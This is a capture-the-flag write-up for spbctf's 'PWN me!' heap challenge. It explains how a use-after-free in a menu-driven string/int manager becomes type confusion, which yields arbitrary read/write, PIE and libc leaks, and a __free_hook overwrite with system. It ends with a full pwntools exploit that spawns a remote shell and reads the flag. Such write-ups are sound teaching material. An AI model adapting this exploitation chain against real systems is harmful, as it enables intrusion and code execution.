PWN me!
PWN me!
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: arbitrary_read_via_got, arbitrary_write, dangling_pointer, free_hook_overwrite, function_pointer_overwrite, libc_identification_libc_rip, pie_leak_via_funcptr, system_movaps_alignment_pitfall, tcache_reuse, type_confusion_via_uaf, use_after_free
Summary
Task: menu-driven heap manager (strings + ints) with a classic Use-After-Free — remove_* frees chunks without nulling the slot pointer. Solution: alias a freed 0x10 string struct with an int struct (tcache reuse) to build arbitrary read/write, leak PIE via a stored funcptr and libc via GOT %s, then overwrite __free_hook with system and free a '/bin/sh' buffer (avoiding the glibc 2.27 movaps alignment crash on a direct funcptr call).
PWN me! — spbctf
Description
PWN me! nc 109.233.56.90 11721 Binary: https://pwn.spbctf.ru/files/uaf/uaf1/uaf1.elf
A menu-driven heap manager that stores two object types (strings and integers).
The task is to escalate a Use-After-Free bug to a shell and read /flag.txt.
There is no win function and PIE is enabled, so a full PIE + libc leak plus a
code-execution primitive is required.
Challenge Overview
uaf1.elf is a 64-bit heap challenge. checksec shows every mitigation is on:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
The binary is not stripped, which makes recon straightforward. It exposes a
classic create/remove/print/edit menu dispatched from logic.part.0:
| Option | Function |
|---|---|
| 1 | create_string |
| 2 | remove_string |
| 3 | print_string_info |
| 4 | edit_string |
| 5 | create_int |
| 6 | remove_int |
| 7 | print_int |
| 8 | edit_int |
Objects live in two global arrays:
strings[0x20]@0x4060ints[0x20]@0x4160
Recon
Object layouts
Both struct types are allocated with malloc(0x10), so both land in the same
tcache bin (0x20) — this is the crux of the exploit.
String struct (malloc(0x10)):
+0x00 char* buf -> separate malloc(0x100) data buffer
+0x08 size_t len -> strlen(buf)
Int struct (malloc(0x10)):
+0x00 uint64 value -> the number the user entered
+0x08 void* funcptr -> print_dec (0x1310) or print_hex (0x1330), chosen by base
create_int selects funcptr from the base you supply (10 → print_dec,
16 → print_hex).
Operation internals (from disassembly)
- create_string:
malloc(0x10)struct,malloc(0x100)buf,fgets(buf, 0x100),len = strlen(buf). - remove_string:
free(buf); free(struct);— slot NOT nulled → dangling pointer (UAF).idxmust be< 0x20. - print_string_info: if slot != 0: if
buf != 0printString data: %s(from[struct+0]) elseNULL string ptr; then printString size: %llxfrom[struct+8]. → both an arbitrary read (%s) and a leak of[struct+8]. - edit_string: if slot != 0 and
[struct+0] != 0:fgets(*[struct+0], 0x100). → arbitrary write if thebufpointer is controlled. - create_int:
malloc(0x10);scanf("%llu")into[struct+0](value); set[struct+8]=print_dec/print_hex. - remove_int:
free(struct);— slot NOT nulled → UAF. - print_int:
rdi = [struct+0](value);call [struct+8](funcptr). → controllable indirect callfuncptr(value). - edit_int:
scanf("%llu")writes 8 bytes into[struct+0](value).
Vulnerability Analysis
Classic Use-After-Free: remove_string and remove_int free their chunks
without nulling the corresponding slot pointer, leaving a dangling reference.
Because both struct types are 0x10 (tcache bin 0x20), a freed string
struct is immediately reused by the next create_int. This aliases a string
slot with an int slot over the same chunk — a type confusion:
- The int struct's
valuefield ([C+0], freely writable viaedit_int's%llu) overlaps the string struct'sbufpointer. - The int struct's
funcptrfield ([C+8], a PIE pointer toprint_dec) overlaps the string struct'slen, whichprint_string_infohappily leaks.
That single alias gives us three primitives on the aliased chunk C0:
- Controllable
bufpointer viaedit_int(0, addr)→ set[C0+0]. - Arbitrary read via
print_string_info(0)→String data: %son*buf. - Arbitrary write via
edit_string(0, data)→fgetsinto*buf.
Plus a PIE leak for free, since print_string_info prints [C0+8]
(= print_dec, a PIE address).
Exploitation Steps
Phase 0 — Establish the alias
create_string(S0) -> struct C0 (0x10) + buf (0x100)
remove_string(0) -> free(buf) into tcache 0x100, free(C0) into tcache 0x20;
slot 0 now dangles to C0
create_int(0, 10) -> create_int's malloc(0x10) returns C0
Now string idx 0 and int idx 0 alias C0:
[C0+0] = value (controllable), [C0+8] = print_dec (PIE pointer).
create_string(S1 = "/bin/sh\x00") -> its 0x100 buf holds "/bin/sh" for later
Phase 1 — PIE leak
print_string_info(0) -> "String size: <hex>" prints [C0+8] = print_dec
exe.address = leak - exe.sym['print_dec']
Phase 2 — libc leak (arbitrary read via GOT)
edit_int(0, free@got) -> sets [C0+0] = S0.buf = free@got (PIE-known)
print_string_info(0) -> "String data: %s" reads *free@got = free@libc
libc.address = leak - libc.sym['free']
libc was identified via libc.rip using the low 12 bits of resolved symbols
(free = ..a30, puts = ..aa0, malloc = ..140), pinpointing glibc 2.27
(libc6_2.27-3ubuntu1.4, Ubuntu 18.04).
Phase 3 — arbitrary write (__free_hook = system)
edit_int(0, __free_hook) -> S0.buf = &__free_hook
edit_string(0, p64(system)) -> fgets writes system into *__free_hook
Phase 4 — trigger
remove_string(1) -> free(S1.buf = "/bin/sh") -> __free_hook fires -> system("/bin/sh")
Then cat /flag.txt.
Critical Pitfall — the movaps alignment crash
The "obvious" path is to point print_int's indirect call directly at system:
overwrite [C+8] with system and [C+0] with a "/bin/sh" pointer, then
print_int runs call [rax+8] → system("/bin/sh").
This SIGSEGVs on glibc 2.27. At the indirect call site the stack is
16-byte misaligned (rsp % 16 == 8), and do_system executes a movaps
against the misaligned stack, which faults. one_gadget candidates also failed
here — their register/stack constraints were not satisfiable in this particular
call context.
The reliable fix is to avoid the alignment-sensitive do_system entry path
entirely: overwrite __free_hook with system and then free() a heap
chunk whose contents are "/bin/sh". The free-hook dispatch is not
alignment-sensitive, so system("/bin/sh") runs cleanly and yields a shell.
Local Testing Note
The target cannot run natively on Apple Silicon, so the exploit was validated
locally under Docker amd64 emulation (ubuntu:18.04 = glibc 2.27) with
socat publishing the binary on a TCP port. This confirmed the __free_hook
approach (and the movaps crash of the direct-call approach) before firing at
the remote.
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 # PWN me! (spbctf) - uaf1.elf -> spbctf{REDACTED} import time from pwn import * context.arch = 'amd64' context.log_level = 'info' exe = ELF('./uaf1.elf', checksec=False) libc = ELF('./libc.so.6', checksec=False) # libc6_2.27-3ubuntu1.4 (from libc.rip) HOST, PORT = "109.233.56.90", 11721 p = remote(HOST, PORT) def rc(): time.sleep(0.25); return p.recv(8192) def sl(x): p.sendline(str(x).encode() if not isinstance(x, bytes) else x); return rc() def cs(d): sl(1); return sl(d) def rs(i): sl(2); return sl(i) def ps(i): sl(3); return sl(i) def es(i,d): sl(4); sl(i); return sl(d) def ci(v,b=10): sl(5); sl(v); return sl(b) def ei(i,v): sl(8); sl(i); return sl(v & (2**64-1)) def readp(a): """arbitrary read via S0: set S0.buf=a (int value), print_string %s.""" ei(0, a) r = ps(0) d = r.split(b'String data: ')[1].split(b'String size: ')[0] return u64(d.ljust(8, b'\x00')) rc() # banner # --- UAF: alias string struct C0 (idx0) with int struct I0 (idx0) --- cs(b'AAAA') # S0 -> struct C0 (0x10) + buf (0x100) rs(0) # free buf, free C0; S0 slot dangles -> C0 (tcache 0x20) ci(0, 10) # create_int reuses C0: [C0+0]=value(=S0.buf), [C0+8]=print_dec cs(b'/bin/sh\x00') # S1 (idx1): buf holds "/bin/sh" to free later # PIE leak: print_string size field = [C0+8] = print_dec r = ps(0) leak = int(r.split(b'String size: ')[1].split(b'\n')[0], 16) exe.address = leak - exe.sym['print_dec'] log.success('PIE base = %#x', exe.address) # libc leak: point S0.buf at free@got, read pointer with %s libc.address = readp(exe.got['free']) - libc.sym['free'] log.success('libc base = %#x', libc.address) assert (libc.address & 0xfff) == 0, "wrong libc" # arbitrary write __free_hook = system (avoids system() movaps misalignment) ei(0, libc.sym['__free_hook']) # S0.buf = &__free_hook es(0, p64(libc.sym['system'])) # *__free_hook = system # trigger: free S1.buf ("/bin/sh") -> system("/bin/sh") sl(2); p.sendline(b'1') time.sleep(0.4) p.sendline(b'cat /flag.txt; id') time.sleep(1.0) print(p.recv(8192).decode(errors='replace')) p.interactive()